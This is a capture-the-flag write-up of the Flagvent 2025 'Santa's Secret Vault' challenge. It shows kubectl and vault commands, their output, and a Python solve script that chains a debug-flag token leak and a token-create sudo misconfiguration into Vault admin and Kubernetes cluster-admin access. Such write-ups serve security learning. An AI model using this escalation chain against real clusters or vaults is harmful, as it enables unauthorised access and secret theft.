Santa’s Secret Vault

miscflagvent2025k8svaultopenbaoinfralinuxcrypto

Discovery

We are presented with a website that will encrypt wishes for santa:

The frontend web application

We are also with a second endpoint that is called secrets which we can just assume is the secrets storage endpoint.

Looking at the traffic that is generated by interacting with the frontend, we can see Kubernetes API requests and responses:

curl https://UUID.challs.flagvent.org:31337/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets
{
  "apiVersion": "ctf.flagvent.org/v1alpha1",
  "items": [],
  "kind": "SecretList",
  "metadata": {
    "continue": "",
    "resourceVersion": "328"
  }
}

Kubernetes Part One

Since we didn’t have to specify any authorization token, anonymous authentication is enabled! Based on the information we have, it is possible to create a KUBECONFIG file so that we can interact with the Kubernetes API using the kubectl CLI. We can identify what we have access to:

KUBECONFIG=flagvent kubectl auth can-i --list
Resources                                       Non-Resource URLs   Resource Names   Verbs
notes.ctf.flagvent.org                          []                  []               [create get list watch]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]
secrets.ctf.flagvent.org                        []                  []               [get list watch]
                                                [/api/*]            []               [get]
                                                [/api]              []               [get]
                                                [/apis/*]           []               [get]
                                                [/apis]             []               [get]
                                                [/healthz]          []               [get]
                                                [/healthz]          []               [get]
                                                [/livez]            []               [get]
                                                [/livez]            []               [get]
                                                [/openapi/*]        []               [get]
                                                [/openapi]          []               [get]
                                                [/readyz]           []               [get]
                                                [/readyz]           []               [get]
                                                [/version/]         []               [get]
                                                [/version/]         []               [get]
                                                [/version]          []               [get]
                                                [/version]          []               [get]

In addition to the secrets, we can also see that we can get, list and watch notes. Since the notes are still unencrypted, maybe we can read notes of other entities that are interacting with the app? Sadly not, but we can see something interesting when we use the frontend ourselves to create a new secret:

KUBECONFIG=flagvent kubectl get --watch note.ctf.flagvent.org -o yaml
apiVersion: ctf.flagvent.org/v1alpha1
kind: Note
metadata:
  creationTimestamp: "2025-12-13T17:37:45Z"
  generation: 1
  name: asdf
  namespace: default
  resourceVersion: "551"
  uid: 6e13c394-c415-4227-92df-6a58c51729cc
spec:
  debug: false
  message: asdf

There is a debug flag in the Note custom resource! If we change debug to true when creating a note, the resulting Secret object contains debug information that leaks a Vault token in the X-Vault-Token header:

KUBECONFIG=flagvent kubectl get secret.ctf.flagvent.org -o yaml
apiVersion: v1
items:
- apiVersion: ctf.flagvent.org/v1alpha1
  kind: Secret
  metadata:
    creationTimestamp: "2025-12-13T17:18:48Z"
    generation: 5
    name: asdf
    namespace: default
    resourceVersion: "569"
    uid: f97cb3a8-9276-42a2-8d31-96af130917a3
  spec:
    ciphertext: vault:v1:ROvwzr3yy7cVHAgwSiltKlWT90q0KNOPFIuRzZj/824=
    transitKey: ctf
    transitMount: transit
  status:
    createdAt: "2025-12-13T17:38:29.769540+00:00"
    debug:
      note: Debug should not be used in production.
      vaultRequest:
        body:
          plaintext: YXNkZg==
        headers:
          Content-Type: application/json
          X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc
        method: POST
        path: /v1/transit/encrypt/ctf
        url: http://secrets:8208/v1/transit/encrypt/ctf
    sourceNote:
      name: asdf
      namespace: default
kind: List
metadata:
  resourceVersion: ""

As Vault is a known secret storage solution, the vault CLI can be used to log in with the leaked token:

export VAULT_ADDR=https://UUID.challs.flagvent.org:31337/
vault login
Token (will be hidden): 
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc
token_accessor       YOKNyXSCZfr2qN5w02xLrSyX
token_duration       23h49m23s
token_renewable      true
token_policies       ["ctf-encrypt-only" "default"]
identity_policies    []
policies             ["ctf-encrypt-only" "default"]

Vault Part One

To enumerate the permissions of the leaked token, we can read the policies. The ctf-encrypt-only looks safe and quite restriced. It only allows us to list encryption key information and encrypt some plaintext:

vault policy read ctf-encrypt-only
path "transit/encrypt/ctf" {
  capabilities = ["update"]
}

path "transit/keys/ctf" {
  capabilities = ["read"]
}

Looking at the default policy, we can see a lot of rules that look sane. However, there is one capability that stands out: We have the sudo capability on the auth/token/create endpoint!

vault policy read default
# ...

# Allow tokens to renew themselves
path "auth/token/create" {
    capabilities = ["update", "sudo"]
}

# ...


# Allow everyone to audit policies
path "sys/policies/acl" {
  capabilities = ["list"]
}

path "sys/policies/acl/*" {
  capabilities = ["read"]
}

Additionally, we can read out all policies:

vault policy list
admin
ctf-encrypt-only
default
root

The admin policy is very generous and allows complete access over the vault:

vault policy read admin
path "*" {
  capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}

So, we can use the sudo permission given to us by the default policy to create a new token. During token creation, we can select the policy that should apply to this new token. Specifying admin will then create us a token with full control over the vault:

vault token create -policy=admin
Key                  Value
---                  -----
token                s.mcItbbmy8XXKyJh1wmxrkQOd
token_accessor       Rqg0imoCYyBePHpZkmbQSQV6
token_duration       768h
token_renewable      true
token_policies       ["admin" "default"]
identity_policies    []
policies             ["admin" "default"]

For example, we can change the the CTF encryption key to be exportable and then read out the encryption key:

vault write transit/keys/ctf/config exportable=true
vault read transit/export/encryption-key/ctf
vault read transit/export/hmac-key/ctf
Key     Value
---     -----
keys    map[1:C9n+7oYXKCiKTmrBMdgkawibzGw8Zh6HThYI0BHkKpk=]
name    ctf
type    aes256-gcm96

Key     Value
---     -----
keys    map[1:+cudxq+IOLg9W2M4MEdHtxSHxQv3DP4+iKA0xRLDvqQ=]
name    ctf
type    aes256-gcm96

However, this only allows us to decrypt the secrets that we have previously encrypted ourselves, so we already know the plaintext…

Looking around the Vault API, we try to enumerate more now that we have admin permissions. We can identify multiple entities, one of which has the name k8s-admin-user:

vault list identity/entity/id
vault read identity/entity/id/87404d17-749a-5803-fd80-db01218e6876
Key                    Value
---                    -----
aliases                []
creation_time          2025-12-13T20:06:44.17306739Z
direct_group_ids       []
disabled               false
group_ids              []
id                     87404d17-749a-5803-fd80-db01218e6876
inherited_group_ids    []
last_update_time       2025-12-13T20:06:44.17306739Z
merged_entity_ids      <nil>
metadata               <nil>
name                   k8s-admin-user
namespace_id           root
policies               []

This is interesting. Might the Vault be configured as an authentication provider for the Kubernetes API?

vault list identity/group/id
vault read identity/group/id/94e5efa8-87e6-fb09-ae63-a1f6405650b8
Key                  Value
---                  -----
alias                map[]
creation_time        2025-12-13T20:06:44.551382047Z
id                   94e5efa8-87e6-fb09-ae63-a1f6405650b8
last_update_time     2025-12-13T20:06:44.551382047Z
member_entity_ids    <nil>
member_group_ids     <nil>
metadata             <nil>
modify_index         1
name                 admin
namespace_id         root
parent_group_ids     <nil>
policies             [k8s-cluster-admin]
type                 external

It does look like this is the case, as the OIDC provider is enabled and contains a k8s-admin role:

vault read identity/oidc/config
vault list identity/oidc/role
Key       Value
---       -----
issuer    https://secrets:8200

Keys
----
k8s-admin

Due to how Vault internally maps identity entities to external roles, we have to also enumerate the entity aliases. There, we can find the cluster-admin alias:

vault list identity/entity-alias/id
vault read identity/entity-alias/id/412cb4bb-89af-463f-ba7a-84c96a1b7924
Key                          Value
---                          -----
canonical_id                 272af83a-ece1-9504-85ef-f1a52ae24260
creation_time                2025-12-13T20:06:45.625376337Z
custom_metadata              <nil>
id                           412cb4bb-89af-463f-ba7a-84c96a1b7924
last_update_time             2025-12-13T20:06:45.625376337Z
local                        false
merged_from_canonical_ids    <nil>
metadata                     <nil>
mount_accessor               auth_token_ca397855
mount_path                   auth/token/
mount_type                   token
name                         cluster-admin
namespace_id                 root

Using the new information, we can create a new Vault token that has the k8s-admin role and the cluster-admin entity alias:

vault token create -role k8s-admin -entity-alias cluster-admin
Key                  Value
---                  -----
token                s.BATu8wSdYCavnvcT0EEeDjCL
token_accessor       QO5j7kWp1oBLnG6jlvHpDe7P
token_duration       768h
token_renewable      true
token_policies       ["admin" "default"]
identity_policies    []
policies             ["admin" "default"]

If we log into the Vault CLI with this new token, we can generate the JWT that is needed to access the Kubernetes API:

vault read identity/oidc/token/k8s-admin
Key          Value
---          -----
client_id    k8s
token        eyJhbGciOiJSUzI1NiIsImtpZCI6ImYzZmUwYzU5LTBkZDYtMzMwMC0xOWIzLTVjYTQwY2VkYjRmMyJ9.eyJhdWQiOiJrOHMiLCJleHAiOjE3NjU2NjI3ODIsImdyb3VwcyI6WyJhZG1pbiJdLCJpYXQiOjE3NjU2NTkxODIsImlzcyI6Imh0dHBzOi8vc2VjcmV0czo4MjAwL3YxL2lkZW50aXR5L29pZGMiLCJuYW1lc3BhY2UiOiJyb290Iiwic3ViIjoiMjcyYWY4M2EtZWNlMS05NTA0LTg1ZWYtZjFhNTJhZTI0MjYwIn0.MU1hSTEdeMBv41WC_4OqmpgYQ4CmNFgwvaxKUXS8y-AKPbzX2fxMT9lp_xHFtGZiXHhvtfbUA7UhIa1RKfQfRBi-QNMi-dPbRC5rHGnMHLTNqa5J-tLF30Udg2uNPDgJ14wnmOUi5ykvMGl4FjFz5y_vmAbrtIDB6MQJrDC2dZzbMTmrPJtkHV8MvCFAijC-vOqwOBbilTK-jU4VLHCoPGVNJihKG5kv3mjKjggyjQwI_USVLSPOLm_ObcIPNc-ZkUCjYFkhvfDl8rkTsRgsIMDXBAlfgkqBzEXKyHIQwUKMxHEX99dRsOM2PaoHyJJLrGf9fXuwAn9TQE5k7MlXPQ
ttl          1h

Kubernetes Part Two

Reconfiguring our KUBECONFIG file to include the new JWT, we can now see all Kubernetes resources. Listing all ctf.flagvent.org.Secret objects returns us a flag secret in the kube-system namespace that wasn’t previously available to us:

apiVersion: ctf.flagvent.org/v1alpha1
kind: Secret
metadata:
  creationTimestamp: "2025-12-13T20:07:06Z"
  generation: 1
  name: flag
  namespace: kube-system
  resourceVersion: "303"
  uid: fe1e9290-a8e3-469b-8cc1-dc0e5119eef1
  selfLink: /apis/ctf.flagvent.org/v1alpha1/namespaces/kube-system/secrets/flag
status:
  createdAt: "2025-12-13T20:07:06.760772+00:00"
  sourceNote:
    name: flag
    namespace: kube-system
spec:
  ciphertext: >-
    vault:v1:xTXs67paDNJs4bSHOzUmpG/EDH4tkXS6YwUxk9ux4+jw2t9SlKs1W4uktsfmm3oFNx0SB1bxmGOBIod/
  transitKey: ctf
  transitMount: transit

Vault Part Two

Using one of the Vault tokens that has Vault admin access, we can decrypt the ciphertext:

vault write transit/decrypt/ctf ciphertext="vault:v1:xTXs67paDNJs4bSHOzUmpG/EDH4tkXS6YwUxk9ux4+jw2t9SlKs1W4uktsfmm3oFNx0SB1bxmGOBIod/"
Key          Value
---          -----
plaintext    RlYyNXt3MHdfc3VjaF80X2QzdjBwc18zbmdpbjMzcn0=

Flag

Base64 decoding the plaintext from the Vault CLI output above returns the flag:

FV25{w0w_such_4_d3v0ps_3ngin33r}

Solve script

import requests, time, base64

K8S_URL = "https://UUID.challs.flagvent.org:31337"
BAO_URL = "https://UUID.challs.flagvent.org:31337"

r = requests.post(K8S_URL + "/apis/ctf.flagvent.org/v1alpha1/namespaces/default/notes", json={
    "apiVersion": "ctf.flagvent.org/v1alpha1",
    "kind": "Note",
    "metadata":{
        "name": "asdf",
        "namespace": "default"
    },
    "spec":{
        "debug": True,
        "message": "asdf"
    }
})
print("Note with debug mode created:", r.status_code)

time.sleep(1)

r = requests.get(K8S_URL + "/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets")
leaked_bao_token = r.json()["items"][0]["status"]["debug"]["vaultRequest"]["headers"]["X-Vault-Token"]
print("Leaked bao token:", leaked_bao_token)

r = requests.post(BAO_URL + "/v1/auth/token/create", headers={
    "X-Vault-Token": leaked_bao_token
}, json={
    "policies": ["admin"]
})
admin_bao_token = r.json()["auth"]["client_token"]
print("Admin bao token:", admin_bao_token)

r = requests.post(BAO_URL + "/v1/auth/token/create/k8s-admin", headers={
    "X-Vault-Token": admin_bao_token
}, json={
    "entity_alias": "cluster-admin"
})
k8s_bao_token = r.json()["auth"]["client_token"]
print("K8s bao token:", k8s_bao_token)

r = requests.get(BAO_URL + "/v1/identity/oidc/token/k8s-admin", headers={
    "X-Vault-Token": k8s_bao_token
}, json={
    "policies": ["admin"]
})
k8s_admin_token = r.json()["data"]["token"]
print("Admin k8s token:", k8s_admin_token)

r = requests.get(K8S_URL + "/apis/ctf.flagvent.org/v1alpha1/namespaces/kube-system/secrets", headers={
    "Authorization": f"Bearer {k8s_admin_token}"
})
encrypted_flag = r.json()["items"][0]["spec"]["ciphertext"]
print("Encrypted flag:", encrypted_flag)

r = requests.post(BAO_URL + "/v1/transit/decrypt/ctf", headers={
    "X-Vault-Token": k8s_bao_token
}, json={
    "ciphertext": encrypted_flag
})
flag = r.json()["data"]["plaintext"]
print("Decrypted flag:", base64.b64decode(flag).decode("utf-8"))

Conclusion

I’ve learned a lot about Kubernetes and Vault. Both are straightforward to use, whether through the CLI or the REST API. The challenge itself is awesome and quite complex, featuring many concepts that you only deal with if you are deploying modern infrastructure. Managing to create this challenge environment on a per-player instance basis is very impressive. Amazing Job, cfi2017 and coderion!